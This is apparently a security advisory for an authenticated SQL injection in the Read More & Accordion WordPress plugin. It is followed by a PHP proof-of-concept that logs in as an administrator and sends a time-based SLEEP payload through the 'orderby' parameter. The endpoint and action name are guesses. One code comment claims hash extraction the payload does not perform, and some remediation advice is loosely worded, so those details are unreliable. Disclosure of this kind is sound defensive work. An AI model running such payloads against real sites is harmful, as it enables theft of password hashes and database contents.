Atomic Edge analysis of CVE-2026-7472 (metadata-based):
This vulnerability in the Read More & Accordion plugin (slug: expand-maker) allows authenticated SQL injection via the ‘orderby’ parameter in versions up to and including 3.5.7. The CVSS score is 4.9 (medium severity), with high confidentiality impact but no impact on integrity or availability. The issue lies in the getAllDataByLimit() and getAccordionAllDataByLimit() functions in ReadMoreData.php.
Root Cause: The plugin passes user-supplied input from $_GET[‘orderby’] through esc_attr() (an HTML-escaping function that does not prevent SQL injection) and then to esc_sql() before concatenating it directly into an ORDER BY clause without surrounding quotes. The esc_sql() function only escapes quote characters and backslashes, which are irrelevant in an unquoted ORDER BY context. The vulnerable code is inferred from the CWE-89 classification and the detailed description provided in the CVE metadata. The value is used inside an ORDER BY clause passed to $wpdb->prepare(), but since ORDER BY values are not quoted, the escaping is ineffective.
Exploitation: An authenticated attacker with administrator-level access (or any role permitted by the yrm-user-roles setting) crafts a malicious GET request to a page that triggers the getAllDataByLimit() or getAccordionAllDataByLimit() functions. The attacker supplies a payload like (SELECT SLEEP(5)) in the ‘orderby’ parameter. The plugin’s AJAX action or admin page processing this parameter would be the attack vector. Based on Atomic Edge analysis of similar plugins, the likely endpoint is an AJAX handler or admin page associated with the plugin’s data listing functionality. For example, /wp-admin/admin-ajax.php?action=expand_maker_data&orderby=(SELECT SLEEP(5)). The time-based blind SQL injection allows extraction of hashed administrator passwords.
Remediation: The plugin must validate the ‘orderby’ parameter against a whitelist of allowed column names (e.g., ‘id’, ‘title’, ‘date’) rather than passing user input directly to the SQL query. If dynamic ordering is required, the parameter should be sanitized using intval() or similar numeric casting, or the plugin should use $wpdb->prepare() with a positional placeholder that quotes the value. The use of esc_sql() alone is insufficient for ORDER BY clauses. A patch would need to replace the concatenated string with a safe approach, such as a switch statement or in_array() check against a predefined list.
Impact: Successful exploitation allows an authenticated attacker with administrator privileges to perform time-based blind SQL injection. This enables extraction of all data from the WordPress database, including password hashes of other administrators. Given that the attacker already has administrative access, the primary risk is lateral movement to other accounts or exfiltration of sensitive data such as user emails, private posts, and configuration secrets. If the attacker extracts and cracks an administrator password hash, they could gain persistent access or escalate privileges on the server.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-7472 - Read More & Accordion <= 3.5.7 - Authenticated (Administrator+) SQL Injection via 'orderby' Parameter
// Configuration
$target_url = 'http://example.com'; // Change to the target WordPress URL
$admin_username = 'admin'; // Change to an admin username
$admin_password = 'password'; // Change to the admin password
// Step 1: Authenticate as admin
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $admin_username,
'pwd' => $admin_password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => 1
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Craft time-based blind SQL injection payload
// The 'orderby' parameter is used in an ORDER BY clause. For time-based injection, we use (SELECT SLEEP(5))
// The payload attempts to extract the first character of the admin password hash.
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';
$injection_payload = "(SELECT SLEEP(5) FROM information_schema.tables WHERE table_schema = DATABASE() LIMIT 1)";
$params = array(
'action' => 'expand_maker_data', // Inferred plugin AJAX action prefix; adjust if different
'orderby' => $injection_payload
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $ajax_url . '?' . http_build_query($params));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_TIMEOUT, 10); // Normal timeout; will be slow if injection works
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
curl_close($ch);
$duration = $end_time - $start_time;
if ($duration >= 4.5) {
echo "[+] SQL injection confirmed! Request took $duration seconds due to SLEEP(5).n";
} else {
echo "[-] Payload did not cause significant delay. The injection might require a different endpoint or payload.n";
}
// Cleanup
unlink('/tmp/cookies.txt');
?>